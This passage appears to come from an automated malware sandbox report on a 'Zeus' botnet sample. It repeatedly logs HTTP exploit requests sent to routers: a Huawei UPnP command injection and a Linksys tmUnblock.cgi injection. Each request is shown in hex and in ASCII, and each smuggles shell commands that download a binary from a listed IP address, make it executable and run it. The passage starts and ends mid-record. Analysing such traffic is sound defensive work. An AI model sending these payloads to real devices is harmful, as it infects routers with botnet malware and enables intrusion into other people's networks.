65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 